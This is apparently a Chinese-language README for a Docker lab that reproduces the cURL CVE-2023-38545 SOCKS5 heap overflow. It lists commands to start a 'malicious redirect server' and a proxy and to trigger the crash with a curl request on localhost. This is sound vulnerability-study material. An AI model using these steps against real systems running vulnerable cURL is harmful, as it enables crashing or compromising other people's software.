此项目演示了 cURL CVE-2023-38545。我已经尽可能地将其做得轻量。
首先,构建 Docker 镜像:
docker build . -t cveimage
接下来,我们可以直接运行镜像文件,创建一个临时的 Docker 容器,该容器在停止后将被自动删除:
docker run --rm --tty --net="host" --name cvecontainer cveimage
如果你不方便输入命令,只需打开另一个终端并运行:
docker exec -it cvecontainer /bin/bash
现在,我们需要启动所有服务。连接到正在运行的容器,然后运行:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
现在,你可以在容器内看到 cURL 漏洞利用的实际效果:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
你必须在运行 curl 命令的机器上看到分段错误(segmentation fault)才能确认漏洞利用成功。如果未看到该错误,要么漏洞利用未发生,要么进程拥有过多的可用堆空间,导致你未能覆盖到不可访问的内存。